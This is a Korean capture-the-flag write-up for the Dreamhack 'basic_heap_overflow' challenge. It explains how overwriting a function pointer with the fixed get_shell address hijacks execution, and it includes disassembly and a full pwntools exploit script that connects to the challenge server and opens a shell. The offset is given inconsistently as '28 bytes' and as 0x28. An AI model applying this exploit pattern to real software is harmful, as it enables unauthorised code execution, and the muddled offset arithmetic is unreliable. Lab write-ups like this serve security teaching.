basic_heap_overflow
No PIE fixes the address of get_shell, so a 28-byte heap overflow is enough to redirect execution.


heap overflow 문제이듯 하다. 먼저 get_shell 주소를 먼저 얻겠다. checksec 을 보면 no pie 여서 get_shell 함수의 주 소는 고정이다.
gdb ./basic_heap_overflow (gdb) p get_shell
를 하면, get_shell 의 주소는 0x804867b 인것을 알수있다. 그다음엔 오버 플로우를 할 오프셋을 구해야하는데, 힙 할당 사이즈가 20 인것을 감안하면 28 바이트가 오프셋이다. 왜냐 하면, glibc malloc의 청크는 prev_size(4B) + size(4B) = 8바이트 헤더를 갖기 때문이다. 그러니까 필요한 총 청크 크기 = 0x20(요청) + 0x8(헤더) = 0x28 로 볼수있는것이다.
그러면 왜 다른 청크, 즉 over chunk 를 get_shell 의 주소로 덥는게 get_shell 을 호출 시키는 결과가 되느냐? over->table()이 아무 검증 없이 호출되므로, 그 자리에 get_shell의 주소를 써넣으면 main()이 그 함수를 그대로 실행하 는것이다.
0x0804870f <+98>: mov -0xc(%ebp),%eax ; eax = over 0x08048712 <+101>: mov (%eax),%eax ; eax =
over->table (다시 한번 읽음) 0x08048714 <+103>: call *%eax ; ★ eax에 들어있는 “값”으로 그냥 점프한다 gdb 로 이 코드의 어셈블리어를 보면 더 정확이 어떻게 실행 되는지 알수있다. 그래서 익스플로잇 코드는, from pwn import * context.arch = ‘i386’ GET_SHELL = 0x0804867b OFFSET = 0x28 # gdb로 실측 재확인 권장 payload = b’A’ * OFFSET # ptr 버퍼(0x20) + 다음 청크 헤더(0x8) 채우기 payload += p32(GET_SHELL) # over- >table 자리에 get_shell 주소 덮어쓰기 io = remote(‘host3.dreamhack.games’, 21120) # 본인이 직접 실행
io.sendline(payload) io.interactive()
이걸 돌리면 플래그를 얻는다!